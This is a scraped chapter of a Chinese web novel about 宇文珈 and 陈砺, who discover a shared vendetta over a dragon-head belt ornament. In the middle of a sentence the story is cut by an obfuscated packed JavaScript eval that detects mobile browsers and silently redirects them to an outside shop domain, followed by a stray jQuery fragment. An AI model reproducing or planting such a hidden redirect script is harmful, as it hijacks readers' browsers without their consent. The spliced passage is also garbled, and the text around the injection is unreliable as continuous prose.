文趣网 > 都市小说 > 挖地道挖成宰相夫人 > 35. 唬陈砺
    “听说了吗?益州都督被传唤禁足了?”

    “陛下要审的不是雟州刺史和行军大总管吗?”

    “益州都督可能也有渎职的地方吧……”

    “御史台卢御史当真是铁面无私啊!”

    “可不是?我听说啊,钱都督和卢御史父亲关系匪浅呐……”

    这已经是今日宇文珈第三次听到这样的议论了。

    她小口喝着羊肉汤,一个早膳的功夫,这客栈里的人嘴就没闲下来过。

    破奸盟御史台闯丹墀,雪沉冤大理寺见青天。

    卢御史青松碎玉阙,吴判官铁面难寻痕。

    宣政殿直谏摧奸党,白玉阶圣裁震朝纲。

    “跟看话本似的,他们都起多少个题名了?”宇文珈眉毛挑得老高冲陈砺说。

    “你倒是听得津津有味。”陈砺埋头苦干他的羊肉汤。

    今日立冬,两人到平城来已经三日了,城里正传得沸沸扬扬,七日前卢御史是如何新官到任发癫一般弹劾了三个五品上朝廷命官。

    而昨日,御史台派去雟州刺史府取证的侍御史带回惹得龙颜大怒的消息。

    火舌舔尽万千真言,焚证灭迹铁证无存。

    寒冬初袭的凛冽给整个故事增添了不少的悲壮。

    不过这不是宇文珈和陈砺关注的事。

    那日卢至柔离开施浪后,宇文珈逗留了几日,得到了信么的许可,她在王庭里爽吃爽玩爽睡。

    信么不知从哪里打听到陈砺和她是老乡,特派陈砺护送她回戎州。

    二人不得不同路,再加上陈砺虽没亲戚在世,但对七岸县的感情比较复杂,他也欣然前往。

    说起二人为何出现在平城,倒也是机缘二字。

    宇文珈到县里的时候冯县令正在跟宇文擎方一起下棋,陈砺去祖坟祭拜了。

    照顾宇文擎方的那个下人正在给他们两个斟茶。

    “三娘子回来了。”那人叫阿福,一笑一个圆圆脸。

    宇文珈点了点头。

    “回来了?那就不打扰你们爷孙团聚了,我改日再来。”冯县令笑呵呵地说。

    “县令慢走。”阿福赶紧起身去送。

    随后阿福去烧水做饭了。

    “阿翁,我离开这几日过得还舒坦吗?”宇文珈蹦蹦跳跳地跑过去埋进宇文擎方怀里。

    “舒坦个屁,给我担心坏了,要回来了也不写封信。要不是冯县令跟我说你大概要回来了,我还不知道等到什么时候呢?”宇文擎方轻轻抚摸宇文珈的发顶。

    “县令怎么知道的?”宇文珈疑惑。

    “县令和那个卢郎君好似很熟悉,前几日他正忙着写奏书呢,雟州刺史问罪,雟州府兵都流落到戎州境内了,七岸县也收容了一批,县令正忙着上书益州都督。”

    “雟州刺史被缉拿了?”宇文珈闻言抬起了脑袋。

    “那可不,几日前就被押到益州了。”阿福端着一叠萝卜干走了进来,放到了桌上

    这下宇文珈坐直了,“你又怎么知道的?”

    “卢郎君一直有来信,汇报三娘子的近况,都是阿福念给主君听的。娘子稍坐,馄饨马上就好。”

    阿福笑着出去了。

    “卢郎君还寄信了?”

    “他在信里说了都让你做了什么事,他还叫人送来了一大箱金银财宝,说是说好的报酬,最近一封信是说你还在施浪……虽然阿翁觉得他让你涉险了,但阿翁觉着这人还挺诚恳的。”

    “阿翁!你之前还说要小心呢,你不会这就被收买了吧!”

    “当然不是,不过……”

    “他可不是表现出来的这样,他人可精了,我们根本不是他的对手!”

    这时阿福端着馄饨走了进来,宇文珈立刻闭了嘴。

    “哈哈哈哈哈哈,三娘子说得没错,我阿娘也老说郎君看着彬彬有礼的,实际上心里八百个算盘呢,三娘子果真聪慧,闻名不如见面,小的从没看出郎君是这样的人,只觉得他实打实的诚挚有礼。”

    “闻名不如见面?”

    “郎君写信来最喜欢这般夸三娘子,说三娘子聪慧机敏、应机立断、睿智超群、灵慧颖悟……还有的小的记不住了。”

    “停停停。”宇文珈立起手掌,十二分惊讶。

    “三娘子趁热吃吧,哦对了,郎君还说什么笔到三娘子手中都如同神笔一般,本领简直神了!”阿福笑得崇拜。

    宇文珈一时无话可说,垂头一看,这馄饨看着可人,赶紧往嘴里送了两个。

    味道甚是熟悉。

    “你阿娘是……”

    “啊,娘子想起来了,我阿娘叫顺娘,阿娘也来过一封信,不过没念给主君听过,信里也夸了娘子好些,小的去找出来。”

    “不用了。”

    “可以。”

    宇文珈震惊回头,欣然同意的宇文擎方很是受用地点了点头,阿福闻言呵呵笑了,转身进屋里。

    “阿福!不用了,你也坐下吃吧。”

    “得嘞。”

    卢至柔一家人怎么回事!!!!

    宇文珈吃得一脸郁闷。

    吃完后,宇文珈跟着阿福去了厨房。

    咬牙切齿对他恶狠狠地说:“你们郎君派你来监视我们爷孙俩的吗?”

    “三娘子说笑了,郎君只叫小的照顾好文主君,他眼盲不便,小的没什么本领,只做得一手好菜,何来监视一言。”他手上动作麻溜,脸上却有些羞赧,歉意地笑了笑。

    “我都跟你们郎君兵分两路了,他没告诉你吗?你还留在这里干什么?我可没有钱给你。”

    “三娘子,郎君说了,让小的留下来照顾文主君,只因娘子还有要事要办,小的得让娘子毫无后顾之忧,这是郎君交代的。”阿福转头专心洗碗了。

    宇文珈一时语塞,收了恶狠狠的嘴脸,变得有些茫然,杵在那半天没动。

    “娘子自己也说是兵分两路了,又不是分道扬镳了。说明娘子和郎君还会相遇的。”

    “你听错了,我说的分道扬镳……”宇文珈觉得累极了,颇有些颓丧地狡辩了一句。

    “诶?明明……”

    宇文珈关上了门,把他关在了厨房里面。

    背抵在门上呼了一口气,肩膀沉了下来。

    她回来看看阿翁是否安好,她就要北上去平城调查当年的事了。

    虽然过去了那么久,但心里时时刻刻想着,总是放不下。

    总得去一趟,查得到啥就查,查不到就从此罢了。

    若是阿福真的能好好照顾阿翁,还能念信给阿翁听,确实让她松了一口气。

    但……

    她看了看坐在院子里的阿翁,他正稳稳地给自己倒茶。

    目光一转,她闪身进了自己的那间厢房。

    那日走的时候她把她的东西全部打包放进了三口箱子里,用三个精密的只有她能打开的锁锁了,连阿翁都无法打开。

    她从头发上取出第一个异形钥匙,打开了第一个锁。

    第一个锁是第二个锁的钥匙,而第二个锁可以完全插进第三个锁口里,咔哒一转,最后一个大锁应声落地。

    她从第三个箱子里拿出一个包袱,放在膝盖上沉思了一会。

    最后从箱子的一个角落里摸出一枚金制龙首圆銙,狰狞张开的龙嘴被摩挲得异常光滑,胡须都几乎被碾平。

    这本是男人腰间蹀躞带卡扣装饰物,龙嘴正好用来串日常物件,宇文珈拿来固定两个包袱的角。

    她穿好了圆銙,挎着推门出去。

    迎面撞上来人,那人肩膀的骨头如带刺的铁树,登时给宇文珈撞出一个包。

    他伸出手来扶她,谁料她膝盖一软,手掌划过她肩上的圆銙,划出一道血痕。

    两人都嘶得一声。

    “哎哟,这位郎君你仔细给我们家娘子撞坏了!”阿福急喊道,小跑过来把宇文珈搀扶起,抬头瞪着来人,这人莽撞得很。

    “你干什么!陈砺!”宇文珈大吼一声。

    “别喊!我带了酒来,找了一圈没找到你!”陈砺也大吼一声。

    “你也别喊!”宇文珈用更大的声音喊着。

    陈砺捂着耳朵退

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582128|203430||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了两步,这才意识到手心的血痕。

    “什么东西给我刮得生疼!”

    刚刚开口质问,眼神瞟到她肩膀处的圆銙,瞬时一愣。

    身体犹如一盆泥浆泼下,冷风一吹定如雕塑。

    宇文珈和阿福都注意到了他的异样。

    宇文珈肩膀微微一动,凝眉细看时,陈砺已止住眉眼间的惊惧,若无其事拿出身后的酒坛。

    宇文珈心下奇怪,但碍于阿福,只扬眉质疑他的奇怪之处。

    陈砺错开眼神,淡淡说:“给你阿翁的,我先走了。”

    说完便头也不回地转身。

    “诶你这人……真奇怪。”阿福伸手去接他的酒。

    宇文珈跨步。

    抓住陈砺的胳膊,把他狠狠地揪了回来。

    宇文珈的目光从他的下巴一直缓缓移动到他略显惊慌的眼睛。

    她知道陈砺比自己大了几岁,突然想到他对平城讳莫如深的态度。

    “你认得这个?”宇文珈压低声音,膝盖顶着他的膝盖窝往院子里走。

    他没吭声,但眼神却经不住宇文珈的凝视,心虚闪躲。

    他自然认得,化成灰都认得,因为他也有一个。

    他那片刻的惊慌猛地汇聚成狠戾。

    这些年在施浪做大军将功夫也不是豆腐堆成的。

    登时躬身撤步,甩开宇文珈的手,反手把她脖颈一扣,袖口弹出薄如蝉翼的一块刀片。

    空气割开的风声袭来,刀片马上就要抹上宇文珈的脖子。

    阿福惊恐地大喝一声。

    “这不是我的。”宇文珈轻轻张口。

    空气凝住,陈砺迟疑了一秒。

    “既有血海深仇,和不与我一同前往?”

    宇文珈笑了笑。

    陈砺咬牙嗤笑一声,“我如何晓得你……”

    “嘘。”

    宇文珈在阿福靠近之前把陈砺松了劲的手推开。

    “阿福我没事,陈郎君和我切磋呢,去给陈郎君沏一壶茶,堂前一坐。”

    阿福半信半疑地看着两人,随后狠狠地瞪了一眼陈砺,推门出去了。

    “这不是我的,我也在找这是谁的,这人杀了我全家,今晚我会向阿翁请辞,明日辰时我会出发去平城,陈郎君可要一同前往?”

    陈砺一听她的话,好像瞬间抚平了毛发的狼狗,一下子不甚在意地说:

    “在下跟三娘子闹着玩呢,不懂三娘子说什么?”

    “这枚圆銙虽然比较特别,但在我的日日摩挲下都快被抚平了,你是如何一眼就能认出?莫不是你也时时拿出来看?”

    陈砺戒备地看着她。

    “陈郎君无需对我有敌意,这圆銙的主人追杀我族,是为我族的匠筑之才而来,而陈郎君精通机关术,也很有可能……”

    “你想说什么?”

    “十五年前,你可有跟随祖上去往平城谋事?与修筑地宫有关?在那之后可遭受什么变故?陈郎君不说我也知道,这些日夜以来,你不想复仇?”

    陈砺看着眼前这个少女明亮的眼睛,这双眼睛长得有些轻佻,但碍于其主人坚定的目光,使它无任何娇媚可言。

    这样充满引诱性的稳重,莫名其妙和卢至柔很像。

    鬼使神差中陈砺开口说道:“自然是想的。”

    宇文珈了然一笑,随后便被回神的陈砺打断。

    “不过我的祖辈要求我绝对不能靠近平城一步。”

    他恢复了冷静。

    “你的祖辈还有人健在吗?”

    宇文珈注视着他,她眉眼中难以掩藏的热切,源源不断地输送给他。

    只不过,那只是复仇的雄心,就像三尺大雪也无法掩盖的熊熊烈火。

    正在殷切、平静、毫无攻击性地地焚烧着陈砺的理智。

    陈砺是孤身一人流落到七岸县的,他的父亲和祖父拼尽全力才把他送走,祖辈中,乃至陈氏他们这一支除了他都没有一个活人了。

    他最后咧嘴机械地笑了笑。

    “倒是你,又骗人,你姓宇文吧。”